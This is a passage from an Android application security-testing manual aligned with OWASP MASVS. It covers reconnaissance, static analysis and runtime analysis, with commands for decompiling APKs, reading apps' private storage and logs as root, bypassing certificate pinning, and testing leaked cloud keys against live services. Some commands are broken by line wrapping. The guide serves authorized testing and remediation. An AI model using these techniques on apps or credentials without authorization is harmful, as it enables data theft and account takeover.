Android_MAST_Master_Guide

Android Application Security Testing — Master-Guide

A publication-grade, MASVS/MASTG-aligned field manual for Android application penetration testing.

Version 1.0 · Aligned to OWASP MASVS 2.x and the OWASP Mobile Application Security Testing Guide (MASTG). Structured as a six-phase engagement, from reconnaissance to anti-reversing analysis. Every activity follows a fixed template: risk rating, primary and fallback tooling, exact step-by-step commands, a fallback execution workflow for when tooling breaks or the target fights back, a confirmed-vulnerable baseline, a verified-secure baseline, and a chaining vector where the finding escalates.

How to use this guide

Work the phases in order. Phase 1 builds the map, Phase 2 reads the code, Phase 3 watches it run, Phase 4 attacks the backend the client talks to, Phase 5 breaks client-side runtime defences, and Phase 6 measures how hard the app is to reverse and tamper with. Findings from early phases feed later ones: an exported component found in Phase 1 becomes an attack in Phase 3 and a chain in Phase 5.

Reading each activity. The `Vulnerable / Failure State` block is what a finding looks like when confirmed. The `Secure / Success State` block is what the remediated app should return, so it doubles as retest criteria. On resilience tests (Phase 5 and 6) the logic inverts: a successful bypass is a tester win and an app finding, so read the Pass/Fail wording carefully.

MASVS control reference

Code	Control group
MASVS-STORAGE	Secure storage of sensitive data on the device
MASVS-CRYPTO	Correct use of cryptographic primitives and key management
MASVS-AUTH	Authentication and authorization, client and server side
MASVS-NETWORK	Secure network communication and TLS
MASVS-PLATFORM	Safe use of platform APIs, IPC and WebViews
MASVS-CODE	Secure coding practices and input handling
MASVS-RESILIENCE	Resistance to reverse engineering and tampering

Severity model

Severity	Meaning
Critical	Direct account, fund or mass-data compromise, or trivial RCE.
High	Sensitive data exposure or auth bypass needing minor preconditions.
Medium	Meaningful weakness, usually a chain link rather than standalone impact.
Low	Hardening gap with limited direct impact.
Info	Observation with no direct security consequence.

Lab prerequisites and environment baseline

Set these up once before Phase 1. Record every version in the report methodology so findings are reproducible.

```
# Host toolchain (Linux/macOS host, adb over USB or network)
sudo apt install -y android-tools-adb android-tools-fastboot sqlite3
pip install frida-tools objection apkleaks
# Static analysis
#   jadx, apktool, Bytecode Viewer, dex2jar downloaded to /opt/tools
# Dynamic
#   Burp Suite, Frida server matching device ABI, MobSF (docker)

# Confirm the device and its ABI (drives the frida-server build you push)
adb devices -l
adb shell getprop ro.product.cpu.abi          # e.g. arm64-v8a
adb shell getprop ro.build.version.release     # Android version
adb shell getprop ro.build.version.security_patch

# Push and launch the matching frida-server on a rooted device/emulator
adb push frida-server-16.x-android-arm64 /data/local/tmp/frida-server
adb shell "chmod 755 /data/local/tmp/frida-server"
adb shell "su -c /data/local/tmp/frida-server &"
frida-ps -Ua                                   # should list running user apps
```

Rooting / instrumentation note. Prefer Magisk with Zygisk plus the DenyList (or Shamiko) so instrumentation survives detection during Phase 5 and 6. Keep a clean device snapshot to roll back to between targets.

Phase 1: Information Gathering & Reconnaissance

Goal: acquire the exact build, map every component and permission, recover readable code, and enumerate the network attack surface. Everything here seeds later phases. Do not skip the manifest: it is the single densest source of attack surface on Android.

Activity 1.1: AndroidManifest.xml Security Review

- **Main Heading:** MASVS-PLATFORM
- **Sub-Heading:** MASTG-PLAT-01 — Platform interaction and app configuration review
- **Risk & Impact:**
  - **Severity:** Medium (as an enabler, individual flags range Low to High)
  - **Exploitation Impact:** Insecure manifest flags expose debug access, cloud backup of private data, cleartext traffic, and IPC-reachable components. A single `android:exported="true"` on a sensitive component can undermine the entire authorization model.
- **Primary Tooling:** `jadx-gui`, `aapt`, `apktool`
- **Alternate / Fallback Tooling:** `apkanalyzer` (bundled with Android SDK), `androguard`, `MobSF`, `aapt2`
- **Step-by-Step Methodology:**
  1. Pull the installed APK when you do not have the store file directly:

     ```
     adb shell pm path com.target.app          # prints package:
     /data/app/.../base.apk (+ splits)
     adb pull /data/app/~~xxxx==/com.target.app-yyyy==/base.apk ./base.apk
     ```

  2. Dump the manifest in readable form without full decompilation:

     ```
     aapt dump xmltree base.apk AndroidManifest.xml | less
     aapt dump badging base.apk | grep -E 'package|sdkVersion|application-
     debuggable'
     ```

  3. Open the APK in `jadx-gui base.apk` and read `Resources/AndroidManifest.xml` for the rendered XML.
  4. Check the five high-value flags and record each:

     ```
     aapt dump xmltree base.apk AndroidManifest.xml | grep -Ei
     'debuggable|allowBackup|usesCleartextTraffic|networkSecurityConfig|expor
     ted'
     ```

  5. Enumerate every component carrying `android:exported="true"` (activities, services, receivers, providers) and copy them into the Phase 3/5 IPC target list.

- **Fallback Execution Workflow:** If `aapt` mis-parses a protected or oddly packed manifest, decode with `apktool d base.apk -o base_apktool` and read `base_apktool/AndroidManifest.xml` (apktool rebuilds a clean XML from the binary form). If apktool also fails on a resource-obfuscated APK, run `androguard analyze base.apk` and call `a.get_android_manifest_xml()`, or upload to MobSF and read the Manifest Analysis panel.
- **Vulnerable / Failure State (Vulnerability Identified):**

```
<application
    android:debuggable="true"
    android:allowBackup="true"
    android:usesCleartextTraffic="true">
    <activity android:name=".DashboardActivity" android:exported="true"/>
</application>
```

`aapt dump badging base.apk` prints `application-debuggable`, confirming a debuggable release build.

- **Secure / Success State (Defense Verified):**

```
<application
    android:debuggable="false"
    android:allowBackup="false"
    android:dataExtractionRules="@xml/data_extraction_rules"
    android:networkSecurityConfig="@xml/network_security_config">
    <activity android:name=".DashboardActivity" android:exported="false"/>
</application>
```

`application-debuggable` is absent from badging output, and every non-launcher component is `exported="false"` or guarded by a `signature`-level permission.

- **Chaining Vector (Optional/Applicable):**

```
debuggable=true  -->  run-as / JDWP attach (Activity 3.x)  -->  read
private files without root
exported=true  +  no session check in onCreate  -->  Auth bypass (Activity
3.5)
allowBackup=true  -->  adb backup extraction  -->  offline token theft
(Activity 5.1)
```

Activity 1.2: Decompile the APK for Static Review

- **Main Heading:** MASVS-RESILIENCE / MASVS-CODE
- **Sub-Heading:** MASTG-CODE-01 — Recovering source for static analysis
- **Risk & Impact:**

  - **Severity:** Info (an enabler for all of Phase 2)
  - **Exploitation Impact:** Readable Java/Smali exposes secrets, endpoints, crypto logic and client-side security controls. Failure to decompile is itself a resilience signal (see Phase 6).
- **Primary Tooling:** `jadx` / `jadx-gui`
- **Alternate / Fallback Tooling:** `apktool` (+ `baksmali` / `smali`), `dex2jar` + `jd-gui`, `Bytecode Viewer`, `Ghidra` (with Dalvik loader)
- **Step-by-Step Methodology:**
  1. Decompile to Java in one pass:

```
jadx -d out_jadx base.apk            # writes sources + resources to out_jadx/
jadx --show-bad-code -d out_jadx base.apk   # keep partially-decompiled methods
```

  2. Merge split APKs first if the app ships as an App Bundle, or classes in feature modules are missed:

```
java -jar APKEditor.jar m -i ./splits_dir -o merged.apk
jadx -d out_jadx merged.apk
```

  3. Prioritise packages that handle network, storage, crypto, auth and IPC. Grep the recovered tree:

```
grep -rniE 'https?://|apikey|secret|password|getSharedPreferences|Cipher.getInstance' out_jadx/sources | less
```

- **Fallback Execution Workflow:** When `jadx` throws on obfuscated or anti-decompilation bytecode, drop to Smali: `apktool d base.apk -o out_smali` and read `out_smali/smali*/`. For a Java view of stubborn classes, convert and open in a decompiler: `d2j-dex2jar base.apk -o base.jar` then load `base.jar` in `jd-gui` or Bytecode Viewer (which runs CFR, Procyon and Fernflower engines side by side, so one succeeds where another fails). If the DEX is packed and only decrypts at runtime, defer to the Phase 6 runtime-unpacking workflow (`frida-dexdump`).
- **Vulnerable / Failure State (Vulnerability Identified):**

```
$ jadx -d out_jadx base.apk
INFO  - loading ...
INFO  - processing ...
# Fully readable classes: com.target.app.LoginActivity.checkPassword(...) intact
```

Readable, unobfuscated class and method names mean static analysis proceeds unimpeded (a Phase 6 resilience weakness).

- **Secure / Success State (Defense Verified):**

```
# Heavily obfuscated output: a.a.a(), b.c.d() ; string constants encrypted
at runtime
# jadx emits many "// Failed to decompile" comments; logic is not trivially
readable
```

  Note: this is a "secure" outcome only for MASVS-RESILIENCE. It does not remediate the underlying data-handling bugs, which still exist under the obfuscation.
- **Chaining Vector (Optional/Applicable):**

```
Readable code  -->  locate hardcoded key (Activity 2.2)  -->  decrypt local
DB (Activity 5.1)
```

Activity 1.3: Enumerate the Attack Surface with drozer

- **Main Heading:** MASVS-PLATFORM
- **Sub-Heading:** MASTG-PLAT-02 — IPC and exported component enumeration
- **Risk & Impact:**
  - **Severity:** Medium (High once a specific exported component proves abusable)
  - **Exploitation Impact:** Exported activities, services, receivers and content providers reachable by any installed app can bypass auth, leak data, or trigger privileged actions.
- **Primary Tooling:** `drozer`, `adb`
- **Alternate / Fallback Tooling:** `adb shell dumpsys package`, `manual am/pm` commands, `MobSF` dynamic analyzer, `jadx` manifest review
- **Step-by-Step Methodology:**
  1. Install the drozer agent APK on the device, then forward the port:

```
adb install drozer-agent.apk
adb forward tcp:31415 tcp:31415
```

  2. Start the embedded server in the agent app, then connect the console:

```
drozer console connect
```

  3. Summarise the target's exposed surface:

```
dz> run app.package.attacksurface com.target.app
dz> run app.activity.info -a com.target.app
dz> run app.provider.info -a com.target.app
dz> run app.service.info  -a com.target.app
dz> run app.broadcast.info -a com.target.app
```

4. Record every exported component and its permission requirement for Activities 3.5, 5.1 and 5.3.

- **Fallback Execution Workflow:** If the drozer agent will not run (modern Android incompatibility or a hardened device), enumerate natively: `adb shell dumpsys package com.target.app | sed -n '/Activity Resolver Table/,/Service Resolver Table/p'` shows exported components and their filters. Cross-check against the `jadx` manifest. For provider probing without drozer, use `adb shell content query --uri content://<authority>/<path>`.
- **Vulnerable / Failure State (Vulnerability Identified):**

```
dz> run app.package.attacksurface com.target.app
Attack Surface:
  5 activities exported
  1 broadcast receivers exported
  2 content providers exported     <-- exported and unprotected
is debuggable
```

- **Secure / Success State (Defense Verified):**

```
dz> run app.package.attacksurface com.target.app
Attack Surface:
  1 activities exported            <-- launcher only
  0 broadcast receivers exported
  0 content providers exported
```

  Any remaining exported component enforces a `signature`-level permission and validates all IPC input.
- **Chaining Vector (Optional/Applicable):**

```
Exported provider (grantUriPermission)  +  path traversal  -->  read
/data/data/pkg/databases (Activity 5.1)
Exported activity  -->  intent extra injection  -->  privileged action
(Activity 3.5)
```

Activity 1.4: Identify and Map API Endpoints

- **Main Heading:** MASVS-NETWORK
- **Sub-Heading:** MASTG-NET-01 — Backend attack-surface reconnaissance
- **Risk & Impact:**
  - **Severity:** Info to Medium (High when non-production or internal hosts are reachable)
  - **Exploitation Impact:** A complete endpoint inventory feeds all of Phase 4. Hardcoded HTTP URLs, staging hosts and debug endpoints frequently ship in release builds and

expose weaker controls.

- **Primary Tooling:** `jadx`, `apkleaks`, `MobSF`, Burp Suite
- **Alternate / Fallback Tooling:** `grep` over decompiled sources, `strings` on native libs, `nuclei`, `dexstrings`
- **Step-by-Step Methodology:**
  1. Extract URIs, endpoints and key patterns automatically:
     ```
     apkleaks -f base.apk -o apkleaks_report.txt
     ```
  2. Grep the decompiled tree and resources for hosts and schemes:
     ```
     grep -rniE 'https?://|/api/|\.internal|dev-
     |staging|amazonaws|firebaseio' out_jadx/sources out_jadx/resources
     ```
  3. Recover endpoints hidden in native libraries:
     ```
     unzip -o base.apk 'lib/*' -d libs && strings -n 8 libs/lib/arm64-
     v8a/*.so | grep -Ei 'https?://|api'
     ```
  4. Confirm live reachability through the proxy while exercising the app, then carry the consolidated list into Phase 4.
- **Fallback Execution Workflow:** If automated extractors miss dynamically built URLs (base host in one constant, path in another), hook the network layer at runtime in Phase 3 with `frida-trace -U -i "*URL*" -i "*okhttp3.Request*" com.target.app`, or watch Burp's HTTP history as you walk every feature. For certificate-pinned apps that block passive capture, complete Activity 3.2 first, then re-map.
- **Vulnerable / Failure State (Vulnerability Identified):**
  ```
  # apkleaks_report.txt
  [LINK] http://dev-api.internal.target.com/v1/
  [LINK] https://target-backups.s3.amazonaws.com/
  [AWS]  AKIA... (see Activity 2.2)
  ```
  A cleartext internal endpoint and a backup bucket both shipped in the release APK.
- **Secure / Success State (Defense Verified):**
  ```
  # Only the single production endpoint appears, over HTTPS:
  [LINK] https://api.target.com/v1/
  # No dev/staging/internal hosts, no cleartext, no cloud credentials.
  ```
- **Chaining Vector (Optional/Applicable):**
  ```
  Leaked S3 bucket URL  -->  unauthenticated bucket listing  -->  data
  exposure (backend)
  Non-prod endpoint  -->  weaker auth on staging  -->  account access reused
  on prod
  ```

Phase 2: Static Analysis (Code Review)

Goal: read the recovered code for data-handling and cryptographic defects before touching the running app. Confirm each static finding dynamically in Phase 3 to eliminate false positives.

Activity 2.1: Sensitive Data Stored in SharedPreferences

- **Main Heading:** MASVS-STORAGE
- **Sub-Heading:** MASTG-TEST-0287 — Plaintext sensitive data in preference storage
- **Risk & Impact:**
  - **Severity:** High
  - **Exploitation Impact:** Credentials, session tokens or PII written to plaintext XML in the app sandbox are recoverable on a rooted or backed-up device, enabling session theft and account takeover.
- **Primary Tooling:** `jadx-gui`, `adb`, `objection`
- **Alternate / Fallback Tooling:** `apktool` (Smali review), manual `cat` of the prefs XML, `frida` hook on `SharedPreferences$Editor`
- **Step-by-Step Methodology:**
  1. In the decompiled sources, locate preference writes:

     ```
     grep -rniE 'getSharedPreferences|edit\(\)|putString|putInt'
     out_jadx/sources
     ```

  2. Trace which values are written and whether they are sensitive (variables named `token`, `password`, `pin`, `card`).
  3. Confirm on device:

     ```
     adb shell "su -c cat /data/data/com.target.app/shared_prefs/*.xml"
     ```

  4. Or enumerate at runtime without root shell parsing:

     ```
     objection -g com.target.app explore
     android hooking watch class_method
     android.content.SharedPreferences$Editor.putString
     ```

- **Fallback Execution Workflow:** On a non-rooted device where `su` is unavailable but the app is `debuggable`, read the file via `adb shell run-as com.target.app cat shared_prefs/session.xml`. If the value is written through a wrapper class and static grep misses it, hook `putString` with Frida to capture the key and plaintext as the app runs.
- **Vulnerable / Failure State (Vulnerability Identified):**

```
SharedPreferences p = getSharedPreferences("session", MODE_PRIVATE);
p.edit().putString("auth_token", token).putString("password",
pass).apply();
```

```
<!-- /data/data/com.target.app/shared_prefs/session.xml -->
<string name="auth_token">eyJhbGciOiJIUzI1NiIs...</string>
<string name="password">P@ssw0rd123!</string>
```

- **Secure / Success State (Defense Verified):**

```
MasterKey key = new MasterKey.Builder(ctx)
    .setKeyScheme(MasterKey.KeyScheme.AES256_GCM).build();
SharedPreferences p = EncryptedSharedPreferences.create(
    ctx, "session", key,
    EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
    EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM);
p.edit().putString("auth_token", token).apply();   // password not stored
at all
```

```
<!-- On-disk value is ciphertext, keys wrapped by the Android Keystore -->
<string name="AesGcm...">AXk3f9Q2...base64-ciphertext...</string>
```

- **Chaining Vector (Optional/Applicable):**

```
Plaintext token in prefs  +  allowBackup=true (Activity 1.1)  -->  adb
backup  -->  offline account takeover
```

Activity 2.2: Hardcoded Secrets in Code and Resources

- **Main Heading:** MASVS-STORAGE / MASVS-CRYPTO
- **Sub-Heading:** MASTG-CODE-02 — Hardcoded credentials and key material
- **Risk & Impact:**
  - **Severity:** High to Critical (Critical when a live cloud or backend credential is recovered)
  - **Exploitation Impact:** Keys extracted from the binary work for every user of the app. Cloud credentials can pivot to full backend compromise.
- **Primary Tooling:** `MobSF`, `apkleaks`, `jadx-gui`, `grep`
- **Alternate / Fallback Tooling:** `trufflehog`, `strings` on `.so` and assets, `nuclei` secret templates, `gitleaks` on extracted resources
- **Step-by-Step Methodology:**
  1. Run the automated secret scanners:

```
apkleaks -f base.apk
trufflehog filesystem out_jadx --only-verified
```

2. Grep code, resources and build config manually:

```
grep -rniE 'api[_-]?key|secret|password|bearer|AKIA|-----
BEGIN|client_secret|firebase' \
   out_jadx/sources out_jadx/resources
```

3. Inspect `res/values/strings.xml`, `assets/`, and the generated `BuildConfig` class specifically.
4. Validate each candidate against its live service (a key is only a finding if it works):

```
curl -s "https://maps.googleapis.com/maps/api/geocode/json?
address=x&key=AIza..." | head
```

- **Fallback Execution Workflow:** If secrets are obfuscated or assembled at runtime, hook the constructor of the crypto or HTTP client with Frida and log the arguments: `frida-trace -U -j '*!*SecretKeySpec*/isu' com.target.app`. For secrets in native code, load the `.so` in Ghidra and run the `findcrypt` plugin plus a `strings` sweep.
- **Vulnerable / Failure State (Vulnerability Identified):**

```
public final class BuildConfig {
    public static final String AWS_ACCESS_KEY = "AKIAIOSFODNN7EXAMPLE";
    public static final String AWS_SECRET     =
"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY";
}
```

```
$ aws sts get-caller-identity --profile leaked   # key is live
{ "Account": "1234...", "Arn": "arn:aws:iam::1234:user/app-uploader" }
```

- **Secure / Success State (Defense Verified):**

```
// No long-lived secret in the client. Short-lived, scoped credentials
fetched
// at runtime after authentication, from a backend the user is logged in
to.
String uploadToken = api.getScopedUploadToken();   // expires in minutes,
per-user
```

Scanners return no verified secret, and any embedded identifier is public by design (for example a Firebase project ID protected by server-side security rules).

- **Chaining Vector (Optional/Applicable):**

```
Hardcoded AWS key  -->  s3:ListBucket / GetObject  -->  mass data exposure
(Critical)
```

```
Hardcoded AES key  -->  decrypt local storage (Activity 5.1)  +  forge
signed requests (crypto abuse)
```

Activity 2.3: Sensitive Data Leakage via Logging

- **Main Heading:** MASVS-STORAGE
- **Sub-Heading:** MASTG-TEST-0231 — Sensitive data written to system logs
- **Risk & Impact:**
  - **Severity:** Medium (High on older devices or with a co-located log-reading app)
  - **Exploitation Impact:** Credentials, tokens and full server responses written to logcat are readable by anyone with a logcat channel, including some diagnostic and OEM apps.
- **Primary Tooling:** `jadx-gui`, `grep`, `semgrep`
- **Alternate / Fallback Tooling:** Smali review via `apktool`, `frida` hook on `android.util.Log`, MobSF code analysis
- **Step-by-Step Methodology:**
  1. Search every log sink in the recovered sources:

     ```
     grep -rniE 'Log\.(d|v|i|w|e)\
     (|printStackTrace|System\.out\.print|Timber\.' out_jadx/sources
     ```

  2. Review each hit for sensitive variables being logged (password, token, response body, PII).
  3. Confirm whether release builds strip logs by checking the ProGuard/R8 rules for a `Log assumenosideeffects` block.
  4. Cross-validate dynamically in Activity 3.3.
- **Fallback Execution Workflow:** When logging goes through a custom wrapper (`AppLog.d(...)`) that static grep does not obviously flag as sensitive, hook the underlying `Log` methods with Frida to capture live arguments: `frida-trace -U -j 'android.util.Log!*' com.target.app`. Confirm the leak by driving login and payment flows.
- **Vulnerable / Failure State (Vulnerability Identified):**

  ```
  Log.d("AUTH", "login ok, token=" + authToken + " user=" + username + ":" +
  password);
  ```

  ```
  $ adb logcat --pid=$(adb shell pidof -s com.target.app) | grep AUTH
  D/AUTH: login ok, token=eyJhbGciOi... user=alice:P@ssw0rd123!
  ```

- **Secure / Success State (Defense Verified):**

```
if (BuildConfig.DEBUG) Log.d("AUTH", "login flow complete");  // no
secrets, debug-only
```

```
# release ProGuard/R8 rule strips all Log calls from the shipped build
-assumenosideeffects class android.util.Log { public static *** d(...);
public static *** v(...); }
```

Live logcat during login shows only generic messages.

- **Chaining Vector (Optional/Applicable):**

```
Token in logcat  +  READ_LOGS-capable co-app (or pre-Android 4.1 device)  -
->  session hijack
```

Activity 2.4: Weak or Broken Cryptographic Algorithms

- **Main Heading:** MASVS-CRYPTO
- **Sub-Heading:** MASTG-CRYPTO-01 — Weak algorithms, modes and key handling
- **Risk & Impact:**
  - **Severity:** High
  - **Exploitation Impact:** ECB mode, static IVs, MD5/SHA-1 for security, or DES/RC4 let an attacker decrypt or forge protected data. Unauthenticated CBC enables padding-oracle and bit-flipping attacks.
- **Primary Tooling:** `jadx-gui`, `MobSF`, `semgrep`, `frida`
- **Alternate / Fallback Tooling:** Ghidra `findcrypt` for native crypto, `apktool` Smali review, CyberChef for offline validation
- **Step-by-Step Methodology:**
  1. Locate cryptographic calls:

     ```
     grep -rniE
     'Cipher\.getInstance|MessageDigest\.getInstance|Mac\.getInstance|SecretK
     eySpec|IvParameterSpec' out_jadx/sources
     ```

  2. Flag the transformation strings: any `AES` that resolves to `AES/ECB/*`, plus `DES`, `RC4`, `MD5`, `SHA-1`, and CBC without a separate MAC.
  3. Confirm the exact transformation requested at runtime rather than trusting static reads:

     ```
     frida-trace -U -j 'javax.crypto.Cipher!getInstance' com.target.app
     ```

  4. Check for a static or zero IV and for a key derived from a fixed value.
- **Fallback Execution Workflow:** If crypto is implemented in a native library, load the `.so` in Ghidra, run `findcrypt` to fingerprint constants (AES S-box, SHA round constants), then

hook the JNI entry with a Frida `Interceptor` to dump the key and IV at call time. For custom or home-grown schemes, reimplement the routine offline in Python/CyberChef and prove reversibility on a captured ciphertext.

- **Vulnerable / Failure State (Vulnerability Identified):**

```
Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");      // ECB:
patterns leak
c.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(STATIC_KEY, "AES"));
// ... or MessageDigest.getInstance("MD5") used to "protect" a password
```

```
frida> Cipher.getInstance("AES/ECB/PKCS5Padding")   # confirmed at runtime
```

- **Secure / Success State (Defense Verified):**

```
byte[] iv = new byte[12];
SecureRandom.getInstanceStrong().nextBytes(iv);            // fresh random
nonce
Cipher c = Cipher.getInstance("AES/GCM/NoPadding");        // authenticated
encryption
c.init(Cipher.ENCRYPT_MODE, keystoreKey, new GCMParameterSpec(128, iv));
```

Keys come from the Android Keystore, the IV/nonce is unique per operation, and hashing for integrity uses SHA-256 or better.

- **Chaining Vector (Optional/Applicable):**

```
Static AES key (Activity 2.2)  +  ECB mode  -->  decrypt every user's local
blob
Unauthenticated CBC  -->  padding oracle  -->  plaintext recovery /
ciphertext forgery (Phase 5 advanced)
```

Phase 3: Dynamic & Network Analysis (Runtime)

Goal: observe the app running. Intercept traffic, defeat transport defences enough to see the API, confirm static findings live, and exercise the full IPC attack surface against the running process. Activities 3.5 to 3.9 cover the complete Android inter-app surface: exported activities, deep links and App Links, broadcast receivers, content providers, and intent-redirection / PendingIntent hijacking. Feed every exported component found in Phase 1 into these tests.

Activity 3.1: Intercept All Network Traffic

- **Main Heading:** MASVS-NETWORK

- **Sub-Heading:** MASTG-TEST-0236 — Man-in-the-middle interception of app traffic
- **Risk & Impact:**
  - **Severity:** High when any sensitive data travels in cleartext
  - **Exploitation Impact:** Cleartext or downgradable traffic exposes credentials and tokens to any network attacker. Interception is also the prerequisite for all of Phase 4.
- **Primary Tooling:** Burp Suite, `adb`, rooted device/emulator
- **Alternate / Fallback Tooling:** `mitmproxy`, `apk-mitm`, Wireshark/`tcpdump` for non-HTTP flows
- **Step-by-Step Methodology:**
  1. Start Burp on all interfaces, then point the device Wi-Fi proxy at the host IP and port.
  2. Install the Burp CA into the system trust store so apps trust it (user CAs are ignored by default on modern Android):

     ```
     openssl x509 -inform DER -in cacert.der -out cacert.pem
     HASH=$(openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head
     -1)
     adb root && adb remount
     adb push cacert.pem /system/etc/security/cacerts/$HASH.0
     adb shell chmod 644 /system/etc/security/cacerts/$HASH.0 && adb reboot
     ```

  3. Exercise every feature and confirm HTTP history populates, including background sync.
  4. Capture non-proxy-aware traffic separately:

     ```
     adb shell "su -c tcpdump -i any -s0 -w /sdcard/cap.pcap" &   # inspect
     in Wireshark
     ```

- **Fallback Execution Workflow:** On Android 14+ where the system store is harder to modify, ship the CA via a Magisk module (MagiskTrustUserCerts) so the user CA is promoted to system trust. If the app uses `network_security_config` to distrust user CAs, patch that config with `apk-mitm base.apk` (auto-repackages with a permissive config and disables pinning) and install the patched build. For flows that never appear in Burp, they are non-HTTP (gRPC, MQTT, WebSocket): capture with tcpdump and decode in Wireshark.
- **Vulnerable / Failure State (Vulnerability Identified):**

  ```
  POST http://api.target.com/v1/login HTTP/1.1     <-- cleartext http
  Content-Type: application/json

  {"username":"alice","password":"P@ssw0rd123!"}
  ```

- **Secure / Success State (Defense Verified):**

  ```
  # All requests are HTTPS. With pinning active the app refuses the Burp CA
  and
  ```

```
# shows a network error until Activity 3.2 succeeds. No sensitive data in
cleartext.
```

- **Chaining Vector (Optional/Applicable):**

```
Cleartext login  -->  passive network capture  -->  credential theft, no
client access needed
```

Activity 3.2: Bypass SSL/TLS Certificate Pinning

- **Main Heading:** MASVS-NETWORK
- **Sub-Heading:** MASTG-TEST-0068 — Defeating client-side certificate pinning
- **Risk & Impact:**
  - **Severity:** Info as a test step; the resilience of the pinning itself is the finding (see Phase 6)
  - **Exploitation Impact:** Bypassing pinning is required to inspect and attack pinned APIs. Weak, trivially-bypassed pinning is a MASVS-RESILIENCE weakness.
- **Primary Tooling:** `objection`, `frida`, `frida-server`
- **Alternate / Fallback Tooling:** `apk-mitm` (static repackage), custom Frida scripts, Smali patch of the pinner, `MagiskTrustUserCerts`
- **Step-by-Step Methodology:**
  1. Confirm pinning is active: the app errors while proxied even after the CA is trusted.
  2. Try the objection one-liner first:

     ```
     objection -g com.target.app explore
     android sslpinning disable
     ```

  3. If that misses the implementation, load a universal Frida script:

     ```
     frida -U -f com.target.app -l frida-multiple-unpinning.js --no-pause
     ```

  4. Re-drive the app and confirm decrypted HTTPS now populates Burp.
- **Fallback Execution Workflow:** When runtime hooks fail (native pinning via Conscrypt/BoringSSL, or Flutter's own TLS stack), pivot in this order. (a) Static repackage: `apk-mitm base.apk` then install `base-patched.apk`. (b) For OkHttp, hook `okhttp3.CertificatePinner.check` to return void with a custom script. (c) For Flutter, the pin is in `libflutter.so`; patch the `ssl_verify` routine offset with a Frida `Interceptor.replace`, or use reFlutter to repackage. (d) Last resort, `apktool d`, remove the pinning logic in Smali, `apktool b`, re-sign with `apksigner`, install.
- **Vulnerable / Failure State (Vulnerability Identified):**

```
$ objection -g com.target.app explore
(agent) Custom TrustManager check bypassed
(agent) OkHTTP 3.x CertificatePinner.check bypassed
# A single stock script disabled pinning -> weak resilience finding.
# Decrypted traffic now flows into Burp.
```

- **Secure / Success State (Defense Verified):**

```
# Stock objection and universal scripts fail. Pinning is enforced in native
code
# with anti-hook checks; bypass requires bespoke patching. From a defence
view this
# is the intended (strong) outcome for MASVS-RESILIENCE-2.
```

- **Chaining Vector (Optional/Applicable):**

```
Pinning bypass  -->  full API visibility  -->  BOLA / BFLA / injection at
scale (Phase 4)
```

Activity 3.3: Sensitive Data in logcat (Dynamic Confirmation)

- **Main Heading:** MASVS-STORAGE
- **Sub-Heading:** MASTG-TEST-0203 — Runtime log leakage
- **Risk & Impact:**
  - **Severity:** Medium
  - **Exploitation Impact:** Confirms the static logging finding (Activity 2.3) against live data flowing through real user actions.
- **Primary Tooling:** `adb logcat`
- **Alternate / Fallback Tooling:** `pidcat`, Frida hook on `Log`, Android Studio Logcat
- **Step-by-Step Methodology:**
  1. Resolve the PID and stream only the app's logs:

```
PID=$(adb shell pidof -s com.target.app)
adb logcat --pid=$PID -v time
```

  2. Exercise login, password change, payment and profile screens while watching output.
  3. Grep the captured stream for canary values:

```
adb logcat --pid=$PID -v time | grep -Ei
'token|password|pan|cvv|authorization'
```

  4. Repeat with third-party SDK tags enabled to catch library-side logging.

- **Fallback Execution Workflow:** If the app clears or rate-limits its own logs, capture to a file continuously from process start using `adb logcat --pid=$PID > run.log &` and spawn the app fresh with `am start`. On Android 7+ where reading other apps' logs requires privilege, run the capture from a rooted shell.
- **Vulnerable / Failure State (Vulnerability Identified):**

```
D/NetworkClient: <-- 200 /v1/login {"token":"eyJ...","user":
{"pan":"411111******1111"}}
```

- **Secure / Success State (Defense Verified):**

```
I/Analytics: screen_view: dashboard      # generic, non-sensitive events
only
```

- **Chaining Vector (Optional/Applicable):**

```
Response body in logcat  +  another app with log access  -->  token + PAN
exposure
```

Activity 3.4: Sensitive Data Exposure in the App Switcher

- **Main Heading:** MASVS-STORAGE / MASVS-PLATFORM
- **Sub-Heading:** MASTG-TEST-0289 — Screenshot and task-switcher data leakage
- **Risk & Impact:**
  - **Severity:** Medium
  - **Exploitation Impact:** The OS snapshots the current screen for the recents view. Without `FLAG_SECURE`, balances, PII and OTPs are captured to disk and visible to anyone with the device.
- **Primary Tooling:** Device UI, `adb`, `frida`
- **Alternate / Fallback Tooling:** Pull the snapshot cache from a rooted device, Frida hook on `Window.setFlags`
- **Step-by-Step Methodology:**
  1. Navigate to a sensitive screen (account balance, card details, OTP).
  2. Press Recents/Overview and observe the thumbnail.
  3. Verify whether `FLAG_SECURE` is set on the sensitive activities:

```
grep -rniE 'FLAG_SECURE|setFlags|setRecentsScreenshotEnabled'
out_jadx/sources
```

  4. Test how easily the flag is removed at runtime:

```
frida-trace -U -j 'android.view.Window!setFlags' com.target.app
```

- **Fallback Execution Workflow:** If visual confirmation is ambiguous, pull the cached task snapshots from a rooted device (`/data/system_ce/<user>/snapshots/`) and inspect the images directly. If only login is protected, walk every post-login screen to find unprotected sensitive views.
- **Vulnerable / Failure State (Vulnerability Identified):**

```
# Recents thumbnail renders the full account screen: balance and PAN
legible.
# grep shows FLAG_SECURE only on LoginActivity, not on AccountActivity.
```

- **Secure / Success State (Defense Verified):**

```
// Applied to every sensitive activity in onCreate before setContentView
getWindow().setFlags(WindowManager.LayoutParams.FLAG_SECURE,
                     WindowManager.LayoutParams.FLAG_SECURE);
```

  The recents thumbnail is blank or shows a neutral placeholder, and screenshots are blocked.
- **Chaining Vector (Optional/Applicable):**

```
Unprotected snapshot  +  physical/backup access  -->  offline disclosure of
balances and PII
```

Activity 3.5: Insecure Component Interaction (Exported Activities)

- **Main Heading:** MASVS-PLATFORM
- **Sub-Heading:** MASTG-PLAT-04 — IPC abuse and activity-launch authorization bypass
- **Risk & Impact:**
  - **Severity:** High
  - **Exploitation Impact:** Launching an exported activity directly from another app can render authenticated screens without a session, or drive privileged actions via injected intent extras.
- **Primary Tooling:** `adb` (activity manager), `drozer`, `jadx`
- **Alternate / Fallback Tooling:** custom PoC app with explicit `Intent`, `Frida` to trace `getIntent()` handling
- **Step-by-Step Methodology:**
